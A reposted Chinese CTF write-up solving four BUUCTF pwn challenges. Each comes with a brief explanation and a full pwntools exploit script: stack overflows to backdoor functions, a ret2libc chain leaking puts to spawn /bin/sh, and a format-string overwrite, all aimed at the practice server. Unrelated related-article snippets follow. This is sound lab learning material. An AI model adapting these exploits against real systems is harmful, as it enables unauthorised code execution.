PWN-PRACTICE-BUUCTF-2

PWN-PRACTICE-BUUCTF-2

    • pwn1_sctf_2016
    • jarvisoj_level0
    • ciscn_2019_c_1
    • [第五空间2019 决赛]PWN5

pwn1_sctf_2016

main函数中执行vuln函数
fgets限制了输入的长度,不足以构成栈溢出
通过将输入中的字符"I"替换成"you",增加长度,使满足栈溢出
pwn1-vuln
同时可执行文件存在后门函数get_flag
在这里插入图片描述
构造payload,覆盖eip到get_flag即可得到flag

from pwn import *
#io=process('./pwn1_sctf_2016')
io=remote('node4.buuoj.cn',25873)
get_flag=0x08048F0D
payload='I'*20+'a'*4+p32(get_flag)
io.sendline(payload)
io.interactive()

jarvisoj_level0

简单的栈溢出,留有后门函数callsystem
构造payload,覆盖rip到callsystem,为了满足系统调用需要的16字节对齐,在系统调用前加一条ret

from pwn import *
#io=process("./level0")
io=remote('node4.buuoj.cn',25195)
callsystem=0x0000000000400596
ret=0x0000000000400431
payload="a"*(128+8)+p64(ret)+p64(callsystem)
io.sendline(payload)
io.interactive()

ciscn_2019_c_1

栈溢出ret2libc,encrypt函数里的异或运算不用管的

from pwn import *
context.log_level="debug"
io=remote('node4.buuoj.cn',28108)
elf=ELF("./ciscn_2019_c_1")
libc=ELF("./libc-2.27-18-x64.so")
io.recvuntil("Input your choice!\n")
io.sendline("1")
io.recvuntil("Input your Plaintext to be encrypted\n")
pop_rdi_ret=0x0000000000400c83
puts_got=elf.got["puts"]
puts_plt=elf.plt["puts"]
encrypt=0x00000000004009A0
ret=0x00000000004006b9
payload="a"*(48+2+30+8)+p64(pop_rdi_ret)+p64(puts_got)+p64(puts_plt)+p64(encrypt)
io.sendline(payload)
io.recvuntil("Ciphertext\n")
io.recvuntil("\n")
puts_addr=u64(io.recvuntil("\n",drop=True).ljust(8,"\x00"))
print(hex(puts_addr))
libc_base=puts_addr-libc.sym["puts"]
system=libc_base+libc.sym["system"]
binsh=libc_base+libc.search("/bin/sh").next()
payload_2="a"*(48+2+30+8)+p64(pop_rdi_ret)+p64(binsh)+p64(ret)+p64(system)+p64(encrypt)
io.recvuntil("Input your Plaintext to be encrypted\n")
io.sendline(payload_2)
io.sendline("cat flag")
io.interactive()

[第五空间2019 决赛]PWN5

格式化字符串的洞,覆写dword_804C044处的值,再输入相同的值即可验证成功
测试知道偏移为10,利用pwntools集成的fmtstr_payload来构造payload
或者自己构造payload,因为要覆写的值不必固定,所以构造方式有很多

from pwn import *
io=remote('node4.buuoj.cn',26708)
io.recvuntil("your name:")
payload=fmtstr_payload(10,{0x0804C044:3})
#payload="aaa%12$n"+p32(0x0804C044)
io.sendline(payload)
io.recvuntil("your passwd:")
io.sendline("3")
io.sendline("cat flag")
io.interactive()

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/438117.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

C#接口汇总

1、IComparable和IComparer接口 用于比较和排序 IComparable 可比较的,实现该接口的类,便具有“可比较的”特性。 IComparer 比较器,实现该接口的类,是一个比较器,可以将其嵌入“类”中,使类具有“可比较的…

PWN-PRACTICE-BUUCTF-3

PWN-PRACTICE-BUUCTF-3[OGeek2019]babyropciscn_2019_n_8get_started_3dsctf_2016jarvisoj_level2[OGeek2019]babyrop 简单的ret2libc,构造rop main函数中读取一个随机数到buf中,传入sub_804871F 用"\x00"来绕过strlen和strncmp,b…

c#中常用集合类和集合接口之接口系列【转】

常用集合接口系列:http://www.cnblogs.com/fengxiaojiu/p/7997704.html 常用集合类系列:http://www.cnblogs.com/fengxiaojiu/p/7997541.html 大多数集合都在System.Collections,System.Collections.Generic两个命名空间。其中System.Colle…

PWN-PRACTICE-BUUCTF-4

PWN-PRACTICE-BUUCTF-4ciscn_2019_en_2bjdctf_2020_babystacknot_the_same_3dsctf_2016[HarekazeCTF2019]baby_ropciscn_2019_en_2 这题和ciscn_2019_c_1一模一样 栈溢出ret2libc,encrypt函数里的异或运算不用管 from pwn import * context.log_level"debug&…

PWN-PRACTICE-BUUCTF-5

PWN-PRACTICE-BUUCTF-5jarvisoj_level2_x64ciscn_2019_n_5others_shellcodeciscn_2019_ne_5jarvisoj_level2_x64 这题和[HarekazeCTF2019]baby_rop几乎一模一样 from pwn import * #context.log_level"debug" ioremote(node4.buuoj.cn,27023) elfELF(./level2_x64)…

Scrum敏捷开发沉思录

计算机科学的诞生,是世人为了用数字手段解决实际生活中的问题。随着时代的发展,技术的进步,人们对于现实世界中的问题理解越来越深刻,描述也越来越抽象,于是对计算机软件的需求也越来越高,越来越复杂&#…

PWN-PRACTICE-BUUCTF-6

PWN-PRACTICE-BUUCTF-6铁人三项(第五赛区)_2018_ropbjdctf_2020_babyropbabyheap_0ctf_2017pwn2_sctf_2016铁人三项(第五赛区)_2018_rop vulnerable_function函数中read构成栈溢出,ret2libc from pwn import * context.log_level"debug" ioremote(node4…

PWN-PRACTICE-BUUCTF-7

PWN-PRACTICE-BUUCTF-7jarvisoj_fmciscn_2019_s_3SROP解法ret2csu解法bjdctf_2020_babystack2[HarekazeCTF2019]baby_rop2jarvisoj_fm 格式化字符串漏洞,可以测出我们的输入在栈上的偏移为11 自己构造或者使用fmtstr_payload构造payload均可,目标是让x4…

Axure教程 axure新手入门基础(3) 简单易上手

(三)Axure rp元件的触发事件 l OnClick(点击时): 鼠标点击事件,除了动态面板的所有的其他元件的点击时触发。比如点击按钮。 l OnMouseEnter(鼠标移入时): 鼠标进入到某个元件范围时触发,比如当鼠标移到某张图片时显示该图片的介绍。 l OnMouseOut(鼠标移…

PWN-PRACTICE-BUUCTF-8

PWN-PRACTICE-BUUCTF-8ciscn_2019_es_2jarvisoj_level3ez_pz_hackover_2016jarvisoj_tell_me_somethingciscn_2019_es_2 栈溢出,但是只能溢出8字节,覆盖ebp和eip,考虑stack pivot,即栈迁移 参考:pwn-ciscn_2019_es_2(…

使用Nuget 安装指定版本package或者更新package到指定版本

最近在琢磨MVC和EntityFramework,使用的VS是2013版的,在Nuget的GUI界面下安装了EntityFramework(默认安装最新版的,怎么安装指定版本还没找到),按照MVC的示例项目MusicStore逐步做的过程中发现MVC4不支持EntityFramwok 6。 尝试去更新MVC版本各种失败&a…

PWN-PRACTICE-BUUCTF-9

PWN-PRACTICE-BUUCTF-9[Black Watch 入群题]PWNjarvisoj_level4picoctf_2018_rop chain[ZJCTF 2019]EasyHeap[Black Watch 入群题]PWN vul_function可以向.bss段上写数据,还可以构成栈溢出,但只能溢出8字节,覆盖ebp和eip 利用两次栈迁移 第一…

CSS一个元素同时使用多个类选择器(class selector)

CSS类选择器参考手册 一个元素同时使用多个类选择器 CSS中类选择器用点号表示。实际项目中一个div元素为了能被多个样式表匹配到&#xff08;样式复用&#xff09;&#xff0c;通常div的class中由好几段组成&#xff0c;如<div class"user login">能被.user和…

css 块元素、内联元素、内联块元素

元素就是标签&#xff0c;布局中常用的有三种标签&#xff0c;块元素、内联元素、内联块元素&#xff0c;了解这三种元素的特性&#xff0c;才能熟练的进行页面布局。 块元素&#xff1a; 块元素&#xff0c;也可以称为行元素&#xff0c;布局中常用的标签&#xff0c;如&…

PWN-PRACTICE-BUUCTF-10

PWN-PRACTICE-BUUCTF-10jarvisoj_level3_x64bjdctf_2020_babyrop2hitcontraining_uafjarvisoj_test_your_memoryjarvisoj_level3_x64 64位elf的栈溢出&#xff0c;ret2csu from pwn import * #context.log_leveldebug #ioprocess(./jarvisoj_level3_x64) ioremote(node4.buuo…

PWN-PRACTICE-BUUCTF-11

PWN-PRACTICE-BUUCTF-11bjdctf_2020_routerpicoctf_2018_buffer overflow 1pwnable_orwwustctf2020_getshellbjdctf_2020_router Linux 系统可以在一个命令行上执行多个命令:; --如果命令被分号(;)所分隔&#xff0c;那么命令会连续的执行下去&#xff0c;就算是错误的命令也会…

Redis与关系型数据库的同步问题

Redis是一个高性能的key-value数据库。 redis的出现&#xff0c;很大程度补偿了memcached这类key-value存储的不足&#xff0c;在部分场合可以对关系数据库起到很好的补充作用。它提供了Python&#xff0c;Ruby&#xff0c;Erlang&#xff0c;PHP客户端&#xff0c;使用很方便。…

Delphi各个版本和发展历史

Delphi&#xff0c;是Windows平台下著名的快速应用程序开发工具(Rapid Application Development&#xff0c;简称RAD)。它的前身&#xff0c;即是DOS时代盛行一时的“BorlandTurbo Pascal”&#xff0c;最早的版本由美国Borland&#xff08;宝兰&#xff09;公司于1995年开发。…

PWN-PRACTICE-BUUCTF-12

PWN-PRACTICE-BUUCTF-12cmcc_simpleroppicoctf_2018_buffer overflow 2babyfengshui_33c3_2016xdctf2015_pwn200cmcc_simplerop 静态编译的32位elf&#xff0c;找一个"int 80h"执行系统调用 前提是利用栈溢出读入字符串"/bin/sh\x00"&#xff0c;然后找po…

C# 基础——C#特性

.NET C# Web开发学习之路——C#特性 C#历史办版本及特性 语言版本发布时间.NET Framework要求Visual版本C# 1.02002.1.NET Framework 1.0Visual Studio .NET 2002C# 1.1\1.22003.4.NET Framework 1.1Visual Studio .NET 2003C# 2.02005.11.NET Framework 2.0Visual Studio 20…